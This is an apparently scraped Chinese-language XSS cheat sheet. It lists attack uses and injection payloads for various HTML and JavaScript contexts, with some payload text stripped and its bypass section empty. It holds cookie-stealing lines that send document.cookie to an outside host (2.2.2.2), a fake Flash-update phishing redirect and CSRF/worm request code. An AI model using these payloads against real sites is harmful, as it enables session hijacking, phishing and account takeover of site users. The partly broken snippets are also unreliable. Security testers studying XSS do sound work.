珂技系列之一篇就够了 您所在的位置:网站首页 xss有多重 珂技系列之一篇就够了

珂技系列之一篇就够了

2024-07-11 12:59| 来源: 网络整理| 查看: 265

一、 xss可以做哪些事情?

在没有限制的情况下,xss=html+JavaScript。凡是js+html能做的,xss都能做。弹窗吓唬人,也是最常用的测试手段

alert("你的电脑中病毒了") prompt(2) confirm(3)

有时候不能弹窗,也可以变相用其他简单dom证明。

console.log(3) document.write(1)

网页跳转,等同于任意url跳转

window.location.href="https://www.baidu.com"

引入外部js,引入外部js是图方便或者有长度限制,是手段而不是目的。有时候因此需要短域名。

盗取cookie,最常用手段,注意URL中+变成%2B

window.location.href="http://2.2.2.2/?msg="+escape(document.cookie) var img=document.createElement("img");img.src="http://2.2.2.2/?msg="+escape(document.cookie);document.body.appendChild(img);

盗取其他信息,由于会访问一次xss平台服务器(攻击者服务器),所以可以顺便收集ip,user-agent,referer这些信息。

flash钓鱼,结合弹窗和url跳转进行钓鱼

alert("您的flash版本过低,请更新您的flash版本"); window.location.href ="https://www.flash.cn/cdm/latest/flashplayer_install_cn.exe"

用xss触发CSRF,论坛中可用来制作XSS蠕虫GET

POST

  document.forms[0].submit();

JSON/POST

                                function cors() {             var xhr = new XMLHttpRequest();             payload = '{"id":"1"}';             xhr.open("POST","./json.php", true);             xhr.withCredentials = true;             xhr.setRequestHeader("Content-type","application/json; ");             xhr.send(payload);             }             $.ajax({ type:"POST", dataType:"json", contentType:"application/json", url:"/json.php", crossDomain:false, data:'{"id":1}', }); 二、 不同位置的XSS利用方式

标签外

name=alert(1)

标签内

name=">alert(1) name=1" id=javascript:alert(1) autofocus onfocus=location=this.id xx

href中

name=javascript:alert(1)

CRLF

name=%0d%0a%0d%0aalert(1)

js中

name=alert(1) name=';alert(1);// name=';alert(1);' name='-alert(1)-' name=';};alert(1);function a(){a='

xml

alert(1);

svg

  alert(1) 三、 XSS绕过相关



【本文地址】

公司简介

联系我们

今日新闻

    推荐新闻

    专题文章
      CopyRight 2018-2019 实验室设备网 版权所有